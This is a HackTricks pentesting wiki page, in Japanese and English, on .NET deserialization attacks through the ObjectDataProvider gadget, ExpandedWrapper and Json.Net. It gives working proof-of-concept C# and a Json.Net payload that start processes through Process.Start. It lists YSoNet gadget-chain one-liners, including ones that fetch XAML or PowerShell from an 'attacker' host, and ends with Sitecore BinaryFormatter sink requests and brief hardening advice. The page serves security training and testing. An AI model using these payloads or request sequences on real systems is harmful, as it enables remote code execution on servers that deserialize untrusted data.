hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

264 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
この投稿は、**ObjectDataProvider ガジェットがどのように悪用されて RCE を得るか**、およびそのガジェットとともにシリアライゼーションライブラリ **Json.Net と xmlSerializer がどのように悪用され得るか** を理解することに捧げられています。
## ObjectDataProvider Gadget
ドキュメントによると: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
説明はちょっと曖昧なので、このクラスの何が興味深いのか見てみましょう: このクラスは **任意のオブジェクトをラップし**、_**MethodParameters**_ を使って **任意のパラメータを設定し**、その後 **MethodName を使ってその任意のオブジェクトの任意の関数を任意のパラメータで呼び出す** ことを可能にします。\
つまり、任意の **object** は**復号化deserializedされる際に**、**パラメータ付きの関数を実行する**ことになります。
### **How is this possible**
**System.Windows.Data** 名前空間は `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` にある **PresentationFramework.dll** 内に定義・実装されており、そこに ObjectDataProvider が存在します。
[**dnSpy**](https://github.com/0xd4d/dnSpy) を使えば、対象クラスの **コードを調査** できます。下の画像は **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** のコードを示しています。
![](<../../images/image (427).png>)
ご覧のとおり `MethodName` が設定されると `base.Refresh()` が呼ばれます。ではそれが何をするか見てみましょう:
![](<../../images/image (319).png>)
次に `this.BeginQuery()` が何をするかを見ていきます。`BeginQuery``ObjectDataProvider` によってオーバーライドされており、以下のようになっています:
![](<../../images/image (345).png>)
コードの最後で `this.QueryWorke(null)` を呼んでいることに注意してください。これが何を実行するか見てみましょう:
![](<../../images/image (596).png>)
これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);` を呼んでいる** — ここが **設定されたメソッドが実行される** 行です。
単に _**MethodName**_ を設定するだけで **それが実行される** ことを確認したければ、次のコードを実行できます:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
このクラスは、あるインスタンスにカプセル化されているオブジェクトの型を**指定することを可能にします**。したがって、このクラスはソースオブジェクト_ObjectDataProvider_を新しいオブジェクト型にカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_ と _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
これは前述のようなケースで非常に有用です。なぜなら、_ObjectDataProvider_ を **_ExpandedWrapper_ インスタンス内にラップ** でき、**デシリアライズされたときに** このクラスが _ObjectDataProvider_ オブジェクトを**生成し**、_**MethodName**_ に示された**関数を実行する**からです。
You can check this wrapper with the following code:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. したがって、もし **deserialize the ObjectDataProvider gadget** が可能であれば、オブジェクトをデシリアライズするだけで **RCE** を引き起こすことができます。
### Json.Net の例
まずは、このライブラリを使ってオブジェクトを**serialize/deserialize**する方法の例を見てみましょう:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Json.Netの悪用
[ysoserial.net](https://github.com/pwntester/ysoserial.net) を使用して、exploitを作成しました:
```java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
このコードでは**test the exploit**ができます。実行すると calc が実行されるのを確認できます:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
上で紹介した ObjectDataProvider + ExpandedWrapper 技術は、アプリケーションが **unsafe .NET deserialization** を行う場合に悪用され得る多数の gadget chain のうちの一つに過ぎません。Modern red-team ツールである **[YSoNet](https://github.com/irsdl/ysonet)**(旧来の [ysoserial.net](https://github.com/pwntester/ysoserial.net) を含む)は、何十種類もの gadgets やシリアライゼーション形式向けに、すぐに使える悪意あるオブジェクトグラフを自動生成します。
Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、マテリアライズ後にデリゲートが攻撃者指定の任意のメソッド(例: `Process.Start`)を指すようにする | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して **.NET ≥4.8 の type-filtering をバイパス** し、指定したクラスの **constructor** を直接呼び出すか、C# ファイルをその場で **compile** する | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet`**レガシー XML** 表現を利用し、`<ColumnMapping>` / `<DataType>` フィールドを埋めることで任意の型をインスタンス化する(`--spoofedAssembly` でアセンブリを偽装可能) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF 対応ランタイム(> .NET 5でプロパティゲッターを連鎖させ `System.CodeDom.Compiler.CompilerResults` に到達し、`-c` で指定した DLL を *compile* または *load* する | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF の `System.Windows.Data.ObjectDataProvider` を使って、制御可能な引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートでホストする便利な `--xamlurl` 変種を追加している | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `ScriptBlock``System.Management.Automation.PSObject` に埋め込み、PowerShell がオブジェクトを deserialize した際に実行される | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> すべてのペイロードはデフォルトで **stdout に書き出されます**。そのため ViewState generators、base64 encoders、HTTP clients などの他ツールにパイプで渡すのが簡単です。
### Building / Installing YSoNet
If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### 検出とハードニング
* **検出** `w3wp.exe``PowerShell.exe`、またはユーザー提供データをデシリアライズする任意のプロセス(例:`MessagePack``Json.NET`)の想定外の子プロセスを検知する。
* レガシーの `BinaryFormatter` / `NetDataContractSerializer` を削除できない場合は、`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector``SerializationBinder` 等を使用して **型フィルタリングを有効化および強制** する。
* 可能であれば、ホワイトリストベースのコンバーターを使って **`System.Text.Json`** または **`DataContractJsonSerializer`** に移行する。
* 決して必要としない web プロセスで `PresentationFramework``System.Workflow.*` といった危険な WPF アセンブリがロードされないようブロックする。
## 実際の sink: Sitecore convertToRuntimeHtml → BinaryFormatter
認証済みの Sitecore XP Content Editor フローから到達可能な実用的な .NET sink:
- Sink API: `Sitecore.Convert.Base64ToObject(string)``new BinaryFormatter().Deserialize(...)` をラップしている。
- トリガー経路: パイプライン `convertToRuntimeHtml``ConvertWebControls` は、`id="{iframeId}_inner"` を持つ兄弟要素を検索し、base64 エンコードされたシリアライズ済みデータとして扱われる `value` 属性を読み取る。結果は string にキャストされて HTML に挿入される。
Minimal endtoend (authenticated):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: 任意の BinaryFormatter チェーンで string を返すデシリアライズ中に副作用が実行される。YSoNet/ysoserial.net を参照して payloads を生成する。
Sitecore における HTML cache poisoning による preauth から始まり、この sink に至る完全なチェーンについては次を参照:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## 参考
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}